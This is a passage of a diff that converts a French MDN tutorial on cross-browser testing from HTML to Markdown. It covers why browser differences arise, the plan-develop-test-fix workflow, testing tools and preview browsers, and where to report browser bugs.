href="/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>, et <a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a> des sujets précédents afin de vous rafraichir la mémoire si nécessaire).</p> +Il y a beaucoup de raisons différentes qui amènent des problèmes en navigateur croisé, et notez qu'ici nous parlons des bug qui se comportent différemment selon les navigateurs / supports / préférences de navigateurs. Avant même d'attaquer les problèmes en navigateurs croisés, commencez déjà par fixer encore et encore tous les bugs présents dans votre propre code (voir [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML), [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), et [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) des sujets précédents afin de vous rafraichir la mémoire si nécessaire). -<p>Les problèmes en navigateurs croisés se produisent le plus fréquemment parce que :</p> +Les problèmes en navigateurs croisés se produisent le plus fréquemment parce que : -<ul> - <li>Parfois les navigateurs ont des bugs, ou implémentent des fonctionnalités différemment. Cette situation n'est pas aussi grave qu'elle n'y paraît ; si on regarde IE4 et Netscape 4 qui étaient en compétition pour devenir le navigateur dominant dans les années 90, les compagnies de navigateurs implémentaient délibérément des fonctionnalités différentes les uns des autres afin de prendre l'avantage, ce qui faisait de la vie des développeurs un véritable enfer. Les navigateurs sont biens meilleurs pour respecter les standards de nos jours, mais les bug et les différences continuent d'apparaître de temps en temps.</li> - <li>Certains navigateurs peuvent avoir différents niveaux d'acceptation de fonctionnalités par rapport à d'autres. C'est inévitable lorsque vous traitez avec des fonctionnalités de pointe que les navigateurs commencent seulement à implémenter, ou encore si vous devez supporter de vraiment vieux navigateurs qui ne sont plus du tout développés, ou qui ont arrêté (c-à-d plus aucun travail effectué sur ces derniers) bien longtemps avant même qu'une nouvelle fonctionnalité n'est put être inventée. Par exemple, si vous voulez utiliser des fonctionnalités avancées de Javascript sur votre site, elles ne marcheront sûrement pas sur d'anciens navigateurs. Si vous devez supportez des vieux navigateurs, vous ne devriez pas utiliser ces fonctionnalités ou bien convetir votre code dans une ancienne syntaxe en utilisant un compileur ou quelque chose de similaire si nécessaire.</li> - <li>Certains appareils peuvent avoir des contraintes qui rendraient la navigation plus lente sur un site web, ou afficheraient mal le contenu. Par exemple, si un site a été designé pour être beau sur un support PC il paraîtra sûrement très serré et très difficile à lire sur un écran de mobile. Si votre site inclut une quantité importante de grosses animation ça passera sûrement sur une tablette haut de gamme, mais peut-être lent et saccadé sur un appareil de plus basse gamme.</li> -</ul> +- Parfois les navigateurs ont des bugs, ou implémentent des fonctionnalités différemment. Cette situation n'est pas aussi grave qu'elle n'y paraît ; si on regarde IE4 et Netscape 4 qui étaient en compétition pour devenir le navigateur dominant dans les années 90, les compagnies de navigateurs implémentaient délibérément des fonctionnalités différentes les uns des autres afin de prendre l'avantage, ce qui faisait de la vie des développeurs un véritable enfer. Les navigateurs sont biens meilleurs pour respecter les standards de nos jours, mais les bug et les différences continuent d'apparaître de temps en temps. +- Certains navigateurs peuvent avoir différents niveaux d'acceptation de fonctionnalités par rapport à d'autres. C'est inévitable lorsque vous traitez avec des fonctionnalités de pointe que les navigateurs commencent seulement à implémenter, ou encore si vous devez supporter de vraiment vieux navigateurs qui ne sont plus du tout développés, ou qui ont arrêté (c-à-d plus aucun travail effectué sur ces derniers) bien longtemps avant même qu'une nouvelle fonctionnalité n'est put être inventée. Par exemple, si vous voulez utiliser des fonctionnalités avancées de Javascript sur votre site, elles ne marcheront sûrement pas sur d'anciens navigateurs. Si vous devez supportez des vieux navigateurs, vous ne devriez pas utiliser ces fonctionnalités ou bien convetir votre code dans une ancienne syntaxe en utilisant un compileur ou quelque chose de similaire si nécessaire. +- Certains appareils peuvent avoir des contraintes qui rendraient la navigation plus lente sur un site web, ou afficheraient mal le contenu. Par exemple, si un site a été designé pour être beau sur un support PC il paraîtra sûrement très serré et très difficile à lire sur un écran de mobile. Si votre site inclut une quantité importante de grosses animation ça passera sûrement sur une tablette haut de gamme, mais peut-être lent et saccadé sur un appareil de plus basse gamme. -<p>Et encore tant d'autres raisons.</p> +Et encore tant d'autres raisons. -<p>Dans de futurs articles, nous expliquerons les problèmes communs aux navigateurs croisés et examinerons les solution à ces problèmes.</p> +Dans de futurs articles, nous expliquerons les problèmes communs aux navigateurs croisés et examinerons les solution à ces problèmes. -<h2 id="Environnement_pour_tester_en_navigateurs_croisés">Environnement pour tester en navigateurs croisés</h2> +## Environnement pour tester en navigateurs croisés -<p>Toutes ces histoires de test en navigateurs croisés peuvent paraître génératrices de chaleur et effrayantes, il ne faut pas — vous avez juste à vous organiser soigneusement pour cela, et vous assurer que vous faîtes suffisamment de tests dans le bon sens afin d'être sûr que vous n'allez pas faire face à des problèmes inattendus. Si vous travaillez sur un gros projet, vous devez le tester régulièrement, afin de vous assurez que les nouvelles fonctionnalités sont accessibles à votre public cible, et que l'addition de nouveau code ne cassent pas d'anciennes fonctionnalités qui marchaient auparavant.</p> +Toutes ces histoires de test en navigateurs croisés peuvent paraître génératrices de chaleur et effrayantes, il ne faut pas — vous avez juste à vous organiser soigneusement pour cela, et vous assurer que vous faîtes suffisamment de tests dans le bon sens afin d'être sûr que vous n'allez pas faire face à des problèmes inattendus. Si vous travaillez sur un gros projet, vous devez le tester régulièrement, afin de vous assurez que les nouvelles fonctionnalités sont accessibles à votre public cible, et que l'addition de nouveau code ne cassent pas d'anciennes fonctionnalités qui marchaient auparavant. -<p>Si vous attendez la fin d'un projet pour démarrer les sessions de tests, chaque bug que vous découvrirez sera une énorme charge de travail et une perte de temps conséquente, plutôt que de le tester en continue, de découvrir les bugs et de les fixer progressivement.</p> +Si vous attendez la fin d'un projet pour démarrer les sessions de tests, chaque bug que vous découvrirez sera une énorme charge de travail et une perte de temps conséquente, plutôt que de le tester en continue, de découvrir les bugs et de les fixer progressivement. -<p>Le flux de travail pour tester et fixer les bugs sur un projet peut-être diviser en quatre phases ( c'est assez dur— certaines personnes peuvent agir un peu différemment ) :</p> +Le flux de travail pour tester et fixer les bugs sur un projet peut-être diviser en quatre phases ( c'est assez dur— certaines personnes peuvent agir un peu différemment ) : -<p><strong>Plan initial > Développement > Test/découvertes > Fixes/itération</strong></p> +**Plan initial > Développement > Test/découvertes > Fixes/itération** -<p>Les étapes 2-4 vont tendre à se répéter autant de fois que nécessaire jusqu'à ce que l'implémentation soit aboutie. Nous aborderons les différentes parties du processus de test dans plus de détails dans des articles subséquents, pour l'instant, commençons par résumer ce qu'on peut faire dans chacune de ces étapes.</p> +Les étapes 2-4 vont tendre à se répéter autant de fois que nécessaire jusqu'à ce que l'implémentation soit aboutie. Nous aborderons les différentes parties du processus de test dans plus de détails dans des articles subséquents, pour l'instant, commençons par résumer ce qu'on peut faire dans chacune de ces étapes. -<h3 id="Plan_initial">Plan initial</h3> +### Plan initial -<p>Durant la phase de plan initial, vous allez probablement avoir plusieurs réunions avec le propriétaire du site/client (qui peut être votre boss, ou quelqu'un d'une entreprise extérieure pour qui vous construisez un site web), durant lesquelles vous devez déterminer exactement ce que doit être le site web — quel contenu et quelles fonctionnalités il doit proposer, à quoi il doit ressembler, etc. A partir de ce point vous devez aussi savoir de combien de temps vous disposez pour développer ce site — quelle est leur date limite, et combien vont-ils vous payer pour votre travail ? Nous n'approfondirons pas les détails à ce propos ici, mais les problèmes multi-navigateurs peuvent avoir de sérieuses incidences sur la planification.</p> +Durant la phase de plan initial, vous allez probablement avoir plusieurs réunions avec le propriétaire du site/client (qui peut être votre boss, ou quelqu'un d'une entreprise extérieure pour qui vous construisez un site web), durant lesquelles vous devez déterminer exactement ce que doit être le site web — quel contenu et quelles fonctionnalités il doit proposer, à quoi il doit ressembler, etc. A partir de ce point vous devez aussi savoir de combien de temps vous disposez pour développer ce site — quelle est leur date limite, et combien vont-ils vous payer pour votre travail ? Nous n'approfondirons pas les détails à ce propos ici, mais les problèmes multi-navigateurs peuvent avoir de sérieuses incidences sur la planification. -<p>Une fois que vous vous êtes fait une idée des fonctionnalités requises et de quelles technologies vous allez avoir besoin pour les construire, vous pouvez commencer à rechercher le public cible — quel navigateurs, supports, etc. ce public cible va-t-il utiliser pour aller sur ce site? Le client peut déjà avoir des données à ce propos provenant de recherches qu'il aurait faites auparavant, p.e. d'un autre site web qu'il possède, ou d'une ancienne version du site sur lequel vous travaillez actuellement. Si ça n'est pas le cas, vous serez en mesure de vous faire une idée en prenant en compte d'autres sources, comme les statistiques d'utilisation pour les concurrents ou bien dans quels pays le site sera délivré. Vous pouvez évidemment vous servir un peu de votre intuition.</p> +Une fois que vous vous êtes fait une idée des fonctionnalités requises et de quelles technologies vous allez avoir besoin pour les construire, vous pouvez commencer à rechercher le public cible — quel navigateurs, supports, etc. ce public cible va-t-il utiliser pour aller sur ce site? Le client peut déjà avoir des données à ce propos provenant de recherches qu'il aurait faites auparavant, p.e. d'un autre site web qu'il possède, ou d'une ancienne version du site sur lequel vous travaillez actuellement. Si ça n'est pas le cas, vous serez en mesure de vous faire une idée en prenant en compte d'autres sources, comme les statistiques d'utilisation pour les concurrents ou bien dans quels pays le site sera délivré. Vous pouvez évidemment vous servir un peu de votre intuition. -<p>Par exemple, vous pouvez être en train de construire un site e-commerce qui ne sera désservi que pour des utilisateurs dans l'Amérique du Nord. Le site devra entièrement fonctionner sur les toutes dernières versions des ordinateurs et des mobiles (iOS, Android, Windows phone) et les navigateurs les plus populaires — cela doit inclure Chrome (et Opera car il est basé sur le même moteur de rendu que Chrome), Firefox, IE/Edge, et Safari. Il devra aussi fournir une expérience acceptable sur IE 8 et 9, et être accessible avec les conformité de l'Accessibilité Web.</p> +Par exemple, vous pouvez être en train de construire un site e-commerce qui ne sera désservi que pour des utilisateurs dans l'Amérique du Nord. Le site devra entièrement fonctionner sur les toutes dernières versions des ordinateurs et des mobiles (iOS, Android, Windows phone) et les navigateurs les plus populaires — cela doit inclure Chrome (et Opera car il est basé sur le même moteur de rendu que Chrome), Firefox, IE/Edge, et Safari. Il devra aussi fournir une expérience acceptable sur IE 8 et 9, et être accessible avec les conformité de l'Accessibilité Web. -<p>Maintenant que vous connaissez votre plate-forme de test cible, vous devriez revenir en arrière et revoir les fonctionnalités requises ainsi que les technologies que vous allez utiliser. Par exemple, si le client du site de e-commerce veut un tour WebGL 3D de chaque produit intégré dans la page produit, il devra accepter que cela ne sera juste pas possible sur les versions d'IE avant la 11ème. Vous devez vous entendre pour fournir une version du site sans cette fonctionnalité pour les utilisateurs des anciennes versions d'IE.</p> +Maintenant que vous connaissez votre plate-forme de test cible, vous devriez revenir en arrière et revoir les fonctionnalités requises ainsi que les technologies que vous allez utiliser. Par exemple, si le client du site de e-commerce veut un tour WebGL 3D de chaque produit intégré dans la page produit, il devra accepter que cela ne sera juste pas possible sur les versions d'IE avant la 11ème. Vous devez vous entendre pour fournir une version du site sans cette fonctionnalité pour les utilisateurs des anciennes versions d'IE. -<p>Vous devriez mettre en place une liste des différents champs de problèmes potentiels.</p> +Vous devriez mettre en place une liste des différents champs de problèmes potentiels. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver les informations concernant les différentes technologies et leur support par les navigateurs en recherchant les différentes fonctionnalités sur MDN — le site sur lequel vous vous trouvez! Vous pouvrez également consulter <a href="http://caniuse.com/">caniuse.com</a>, pour d'autres détails utiles.</p> -</div> +> **Note :** Vous pouvez trouver les informations concernant les différentes technologies et leur support par les navigateurs en recherchant les différentes fonctionnalités sur MDN — le site sur lequel vous vous trouvez! Vous pouvrez également consulter [caniuse.com](http://caniuse.com/), pour d'autres détails utiles. -<p>Une fois que vous êtes d'accord sur ces détails, vous pouvez continuer et démarrer le développement du site.</p> +Une fois que vous êtes d'accord sur ces détails, vous pouvez continuer et démarrer le développement du site. -<h3 id="Développement">Développement</h3> +### Développement -<p>Maintenant concernant le développement du site. Vous devez séparer les différentes parties du développement en modules, par exemple vous pouvez séparer les différentes zones du site — page d'accueil, pas produit, panier, tunnel de paiement etc. Vous devrez encore subdiviser ces dernières — implémenter le header et le footer commun, implémenter la vue détaillée de la page produit, implémenter la carte du panier persistent, etc.</p> +Maintenant concernant le développement du site. Vous devez séparer les différentes parties du développement en modules, par exemple vous pouvez séparer les différentes zones du site — page d'accueil, pas produit, panier, tunnel de paiement etc. Vous devrez encore subdiviser ces dernières — implémenter le header et le footer commun, implémenter la vue détaillée de la page produit, implémenter la carte du panier persistent, etc. -<p>Il existe plusieurs stratégies générales concernant le développement multi-navigateurs, par exemple :</p> +Il existe plusieurs stratégies générales concernant le développement multi-navigateurs, par exemple : -<ul> - <li>Obtenir toutes les fonctionnalités qui marchent le plus possible de la même manière sur tous les navigateurs croisés. Cela peut induire d'écrire différents codes qui reproduisent la même fonctionnalité d'une manière différentes visant différents navigateurs, ou bien utiliser un {{glossary("Polyfill")}} afin d'imiter tout support manquant en utilisant Javascript ou d'autres technologies, ou utiliser une librairie qui vous autorise à écrire une seule fois le code et ensuite appliquer différents comportements en arrière-plan selon ce que le navigateur prend en charge.</li> - <li>Accepter que certaines choses ne vont pas se comporter de la même manière sur tous les navigateurs, et fournir différentes solutions (acceptables) sur les navigateurs qui ne supportent pas toutes les fonctionnalités. Parfois c'est inévitable à cause des contraintes du support — un écran de cinéma ne va pas donner la même expérience visuelle qu'un écran 4 pouces de smartphone, indépendamment de comment vous programmez votre site.</li> - <li>Acceptez que votre site ne va juste pas marcher sur certains vieux navigateurs, et aller au-delà. Il n'y a pas de soucis à condition que votre client/base d'utilisateurs soit d'accord avec ceci.</li> -</ul> +- Obtenir toutes les fonctionnalités qui marchent le plus possible de la même manière sur tous les navigateurs croisés. Cela peut induire d'écrire différents codes qui reproduisent la même fonctionnalité d'une manière différentes visant différents navigateurs, ou bien utiliser un {{glossary("Polyfill")}} afin d'imiter tout support manquant en utilisant Javascript ou d'autres technologies, ou utiliser une librairie qui vous autorise à écrire une seule fois le code et ensuite appliquer différents comportements en arrière-plan selon ce que le navigateur prend en charge. +- Accepter que certaines choses ne vont pas se comporter de la même manière sur tous les navigateurs, et fournir différentes solutions (acceptables) sur les navigateurs qui ne supportent pas toutes les fonctionnalités. Parfois c'est inévitable à cause des contraintes du support — un écran de cinéma ne va pas donner la même expérience visuelle qu'un écran 4 pouces de smartphone, indépendamment de comment vous programmez votre site. +- Acceptez que votre site ne va juste pas marcher sur certains vieux navigateurs, et aller au-delà. Il n'y a pas de soucis à condition que votre client/base d'utilisateurs soit d'accord avec ceci. -<p>Normalement votre développement devra inclure une combinaison des trois approches ci-dessus. La chose la plus importante est que vous testiez chacune des petites étapes avant de les commiter— n'attendez pas la fin avant de commencer à tester!</p> +Normalement votre développement devra inclure une combinaison des trois approches ci-dessus. La chose la plus importante est que vous testiez chacune des petites étapes avant de les commiter— n'attendez pas la fin avant de commencer à tester! -<h3 id="Testdécouverte">Test/découverte</h3> +### Test/découverte -<p>Après chaque phase d'implémentation, vous allez avoir besoin de tester les nouvelles fonctionnalités. Pour commencer, vous devez vous assurer qu'il n'y a pas des problème généraux avec votre code qui empêcheraient votre fonctionnalité de fonctionner :</p> +Après chaque phase d'implémentation, vous allez avoir besoin de tester les nouvelles fonctionnalités. Pour commencer, vous devez vous assurer qu'il n'y a pas des problème généraux avec votre code qui empêcheraient votre fonctionnalité de fonctionner : -<ol> - <li>Tester sur quelque navigateurs stables sur votre ordinateur, comme Firefox, Safari, Chrome, ou IE/Edge.</li> - <li>Faites quelque test brut, comme essayer de tester votre site exclusivement avec le clavier, ou utiliser votre site avec un lecteur d'écran afin de voir s'il est navigable.</li> - <li>Tester sur une plateforme mobile, comme Android ou iOS.</li> -</ol> +1. Tester sur quelque navigateurs stables sur votre ordinateur, comme Firefox, Safari, Chrome, ou IE/Edge. +2. Faites quelque test brut, comme essayer de tester votre site exclusivement avec le clavier, ou utiliser votre site avec un lecteur d'écran afin de voir s'il est navigable. +3. Tester sur une plateforme mobile, comme Android ou iOS. -<p>A cet instant, résolvez tous les problèmes que vous avez trouvé sur votre nouveau code.</p> +A cet instant, résolvez tous les problèmes que vous avez trouvé sur votre nouveau code. -<p>Ensuite, vous devriez essayer d'étendre votre liste de navigaturs de test à une liste complète des navigateurs du public cible et commencer à vous concentrer sur l'élimination des problèmes en navigateurs croisés (voir le prochaine article <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">determining your target browsers</a> pour plus d'informations). Par exemple:</p> +Ensuite, vous devriez essayer d'étendre votre liste de navigaturs de test à une liste complète des navigateurs du public cible et commencer à vous concentrer sur l'élimination des problèmes en navigateurs croisés (voir le prochaine article [determining your target browsers](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all) pour plus d'informations). Par exemple: -<ul> - <li>Essayez de tester vos dernières modifications sur tous les navigateurs modernes que vous pouvez — incluant Firefox, Chrome, Opera, IE, Edge, et Safari sur ordinateur (Mac, Windows, et Linux, idéallement).</li> - <li>Testez sur des navigateurs de téléphones et de tablettes populaires (p.e. iOS Safari sur iPhone/iPad, Chrome et Firefox sur iPhone/iPad/Android),</li> - <li>Faites aussi des tests sur tous les navigateurs que vous avez ajouté dans votre liste de cibles.</li> -</ul> +- Essayez de tester vos dernières modifications sur tous les navigateurs modernes que vous pouvez — incluant Firefox, Chrome, Opera, IE, Edge, et Safari sur ordinateur (Mac, Windows, et Linux, idéallement). +- Testez sur des navigateurs de téléphones et de tablettes populaires (p.e. iOS Safari sur iPhone/iPad, Chrome et Firefox sur iPhone/iPad/Android), +- Faites aussi des tests sur tous les navigateurs que vous avez ajouté dans votre liste de cibles. -<p>L'option la plus basique est de juste faire tous les tests que vous pouvez vous-même (demander à vos collègues si vous travaillez en équipe). Vous devez essayer de tester sur des supports physiques lorsque c'est possible.</p> +L'option la plus basique est de juste faire tous les tests que vous pouvez vous-même (demander à vos collègues si vous travaillez en équipe). Vous devez essayer de tester sur des supports physiques lorsque c'est possible. -<p>Si vous n'avez pas les moyens de tester tous les différents navigateurs, systèmes d'exploitation, et les combinaisons sur du matériel physique, vous pouvez aussi utiliser des émulateurs (émuler un support en utilisant un logiciel directement sur votre ordinateur de bureau) et des machines virtuelles (logiciel qui vous permet d'émuler une multitude de systèmes d'exploitation/ des combinaison de logiciels sur votre ordinateur de bureau). C'est un choix apprécié, particulièremenet dans certaines circonstances — par exemple, Windows ne vous autorise pas à avoir plusieurs versions de Windows installées simultanément sur la même machine, ici, utiliser plusieurs machines virtuelles est souvent l'unique solution.</p> +Si vous n'avez pas les moyens de tester tous les différents navigateurs, systèmes d'exploitation, et les combinaisons sur du matériel physique, vous pouvez aussi utiliser des émulateurs (émuler un support en utilisant un logiciel directement sur votre ordinateur de bureau) et des machines virtuelles (logiciel qui vous permet d'émuler une multitude de systèmes d'exploitation/ des combinaison de logiciels sur votre ordinateur de bureau). C'est un choix apprécié, particulièremenet dans certaines circonstances — par exemple, Windows ne vous autorise pas à avoir plusieurs versions de Windows installées simultanément sur la même machine, ici, utiliser plusieurs machines virtuelles est souvent l'unique solution. -<p>L'autre option est le groupe d'utilisateurs — créer un groupe avec des personnes extérieures à votre équipe de développement afin de tester votre site. Cela peut être un group d'amis ou de la famille, ou un groupe d'autres employés, une classe dans une université à proximité, ou une configuration de testeurs professionnel, où les gens sont payés pour tester votre site et vous fournir des résultats.</p> +L'autre option est le groupe d'utilisateurs — créer un groupe avec des personnes extérieures à votre équipe de développement afin de tester votre site. Cela peut être un group d'amis ou de la famille, ou un groupe d'autres employés, une classe dans une université à proximité, ou une configuration de testeurs professionnel, où les gens sont payés pour tester votre site et vous fournir des résultats. -<p>Finallement, vous pouvez faire preuve d'astuce avec vos test en utilisant la vérification ou des outils d'automatisation; c'est un choix sensé, quand votre projet prend de l'ampleur, faire tous ces tests à la main peut commencer à devenir vraiment chronophage. Vous pouvez configurer votre propre système d'automatisation de test (<a href="http://www.seleniumhq.org/">Selenium</a> est l'application la plus populaire) qui pourra par exemple charger votre site sur un nombre de différents navigateurs, et :</p> +Finallement, vous pouvez faire preuve d'astuce avec vos test en utilisant la vérification ou des outils d'automatisation; c'est un choix sensé, quand votre projet prend de l'ampleur, faire tous ces tests à la main peut commencer à devenir vraiment chronophage. Vous pouvez configurer votre propre système d'automatisation de test ([Selenium](http://www.seleniumhq.org/) est l'application la plus populaire) qui pourra par exemple charger votre site sur un nombre de différents navigateurs, et : -<ul> - <li>voir si un clic sur un bouton amène quelque chose à se dérouler avec succès (comme par exemple, afficher une carte), afficher les résultats une fois les test terminés</li> - <li>prendre une impression écran de chaque navigateurs, vous permettant de constater si la disposition reste la même sur les différents écrans des navigateurs.</li> -</ul> +- voir si un clic sur un bouton amène quelque chose à se dérouler avec succès (comme par exemple, afficher une carte), afficher les résultats une fois les test terminés +- prendre une impression écran de chaque navigateurs, vous permettant de constater si la disposition reste la même sur les différents écrans des navigateurs. -<p>Si vous le désirez, vous pouvez encore aller plus loin que ça. Il y a des outils professionnels disponibles comme <a href="https://saucelabs.com/">Sauce Labs</a> et <a href="https://www.browserstack.com/">Browser Stack</a> qui font ce type de choses pour vous, sans que vous aillez à vous soucier de la configuration, si vous êtes prêt à investir de l'argent dans vos test. Il est également possible de configurer un environnement qui exécutera les tests de façon automatique pour vous, et vous permet ensuite de vérifier dans vos modifications effectués de votre code si le test continue de passer.</p> +Si vous le désirez, vous pouvez encore aller plus loin que ça. Il y a des outils professionnels disponibles comme [Sauce Labs](https://saucelabs.com/) et [Browser Stack](https://www.browserstack.com/) qui font ce type de choses pour vous, sans que vous aillez à vous soucier de la configuration, si vous êtes prêt à investir de l'argent dans vos test. Il est également possible de configurer un environnement qui exécutera les tests de façon automatique pour vous, et vous permet ensuite de vérifier dans vos modifications effectués de votre code si le test continue de passer. -<h4 id="Tester_sur_les_navigateurs_en_avant-première_(bêta)">Tester sur les navigateurs en avant-première (bêta)</h4> +#### Tester sur les navigateurs en avant-première (bêta) -<p>C'est souvent une bonne idée de tester sur les versions en avant-première des navigateurs ; voir les liens suivants :</p> +C'est souvent une bonne idée de tester sur les versions en avant-première des navigateurs ; voir les liens suivants : -<ul> - <li><a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a></li> - <li><a href="https://insider.windows.com/">Edge Insider Preview</a></li> - <li><a href="https://developer.apple.com/safari/technology-preview/">Safari Technology Preview</a></li> - <li><a href="https://www.google.com/chrome/browser/canary.html">Chrome Canary</a></li> - <li><a href="http://www.opera.com/computer/beta">Opera Developer</a></li> -</ul> +- [Firefox Developer Edition](https://www.mozilla.org/en-US/firefox/developer/) +- [Edge Insider Preview](https://insider.windows.com/) +- [Safari Technology Preview](https://developer.apple.com/safari/technology-preview/) +- [Chrome Canary](https://www.google.com/chrome/browser/canary.html) +- [Opera Developer](http://www.opera.com/computer/beta) -<p>C'est surtout répandu lorsque vous utiliser des technologies très récentes sur votre site, et que vous voulez les tester par rapport aux anciennes implémentations, ou si vous rencontrez un bug dans la dernières version sortie d'un navigateur, et que vous voulez vérifier si les développeurs du navigateur on fixé le bug sur une version plus récente.</p> +C'est surtout répandu lorsque vous utiliser des technologies très récentes sur votre site, et que vous voulez les tester par rapport aux anciennes implémentations, ou si vous rencontrez un bug dans la dernières version sortie d'un navigateur, et que vous voulez vérifier si les développeurs du navigateur on fixé le bug sur une version plus récente. -<h3 id="Fixesitération">Fixes/itération</h3> +### Fixes/itération -<p>Une fois que vous avez découvert un bug, vous devez essayer de le réparer.</p> +Une fois que vous avez découvert un bug, vous devez essayer de le réparer. -<p>La première chose à faire est de réduire l'origine du bug avec un maximum de précisions. Obtenez un maximum d'informations que vous pouvez de la personne qui a rapporté le bug — quelle plateforme(s), support(s), version(s) du navigateurs, etc. Essayer avec des configurations similaires (p.e. la même version de navigateur sur différents ordinateurs, ou plusieurs versions différentes du même navigateurs sur le même support) pour voir jusqu'à quelle échelle le bug persiste.</p> +La première chose à faire est de réduire l'origine du bug avec un maximum de précisions. Obtenez un maximum d'informations que vous pouvez de la personne qui a rapporté le bug — quelle plateforme(s), support(s), version(s) du navigateurs, etc. Essayer avec des configurations similaires (p.e. la même version de navigateur sur différents ordinateurs, ou plusieurs versions différentes du même navigateurs sur le même support) pour voir jusqu'à quelle échelle le bug persiste. -<p>Ce n'est pas forcément de votre faute — si un bug existe sur un navigateur, alors on peut espérer que le distributeur le fixera rapidement. Il est peut-être même déjà réparé — par exemple si un bug est présent sur la release 49 de Firefox, mais qu'il n'existe plus sur Firefox Nightly (version52), alors il a été fixé. S'il n'a pas été résolu, alors vous pouvez déposer un bug (voir {{anch("Reporting bugs")}}, plus bas).</p> +Ce n'est pas forcément de votre faute — si un bug existe sur un navigateur, alors on peut espérer que le distributeur le fixera rapidement. Il est peut-être même déjà réparé — par exemple si un bug est présent sur la release 49 de Firefox, mais qu'il n'existe plus sur Firefox Nightly (version52), alors il a été fixé. S'il n'a pas été résolu, alors vous pouvez déposer un bug (voir {{anch("Reporting bugs")}}, plus bas). -<p>Si c'est de votre faute, vous devez le résoudre ! Trouver la cause d'un bug implique la même stratégie que pour n'importe quel bug de développement web (à nouveau, voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>, <a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>, et <a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>). Une fois que vous avez découvert ce qui causait le bug, vous devez décider comment est-ce que vous allez travailler sur le navigateur en particulier qui vous pose problèmes — vous ne pouvez pas juste modifier le code du problème, cela risque de casser le code sur un autre navigateur. En général, l'approche veut qu'on fasse bifurquer le code dans une certaine direction, par exemple utilisez une fonctionnalité de détecton en code Javascript pour détecter les situations où une fonctionnalité ne marche pas, et éxecuter un code différent qui fonctionnera dans ce cas.</p> +Si c'est de votre faute, vous devez le résoudre ! Trouver la cause d'un bug implique la même stratégie que pour n'importe quel bug de développement web (à nouveau, voir [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML), [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), et [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong)). Une fois que vous avez découvert ce qui causait le bug, vous devez décider comment est-ce que vous allez travailler sur le navigateur en particulier qui vous pose problèmes — vous ne pouvez pas juste modifier le code du problème, cela risque de casser le code sur un autre navigateur. En général, l'approche veut qu'on fasse bifurquer le code dans une certaine direction, par exemple utilisez une fonctionnalité de détecton en code Javascript pour détecter les situations où une fonctionnalité ne marche pas, et éxecuter un code différent qui fonctionnera dans ce cas. -<p>Lorsque le fix a été créé, vous devrez repéter votre processus de test afin de vous assurer que votre réparation fonctionne bien, et n'a pas causé une faille autre part sur le site ou sur un autre navigateur.</p> +Lorsque le fix a été créé, vous devrez repéter votre processus de test afin de vous assurer que votre réparation fonctionne bien, et n'a pas causé une faille autre part sur le site ou sur un autre navigateur. -<h2 id="Rapporter_un_bug">Rapporter un bug</h2> +## Rapporter un bug -<p>Juste pour redire ce qui a déjà été dit au-dessus, si vous découvrez des bugs sur des navigateurs, vous devez les reporter :</p> +Juste pour redire ce qui a déjà été dit au-dessus, si vous découvrez des bugs sur des navigateurs, vous devez les reporter : -<ul> - <li><a href="https://bugzilla.mozilla.org/">Firefox Bugzilla</a></li> - <li><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/">EdgeHTML issue tracker</a></li> - <li><a href="https://bugs.webkit.org/">Safari</a></li> - <li><a href="https://bugs.chromium.org/p/chromium/issues/list">Chrome</a></li> - <li><a href="https://bugs.opera.com/wizard/desktop">Opera</a></li> -</ul> +- [Firefox Bugzilla](https://bugzilla.mozilla.org/) +- [EdgeHTML issue tracker](https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/) +- [Safari](https://bugs.webkit.org/) +- [Chrome](https://bugs.chromium.org/p/chromium/issues/list) +- [Opera](https://bugs.opera.com/wizard/desktop) -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article devrez vous avoir donné un haut niveau de compréhension des concepts les plus importants que vous devez connaître à propos du test en navigateur croisé. Armé de ce savoir, vous êtes maintenant prêt à démarrer et à commencer à apprendre à propos des stratégies de test multi-navigateur.</p> +Cet article devrez vous avoir donné un haut niveau de compréhension des concepts les plus importants que vous devez connaître à propos du test en navigateur croisé. Armé de ce savoir, vous êtes maintenant prêt à démarrer et à commencer à apprendre à propos des stratégies de test multi-navigateur. -<p>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> +{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}} -<h2 id="Sur_ce_module">Sur ce module</h2> +## Sur ce module -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated 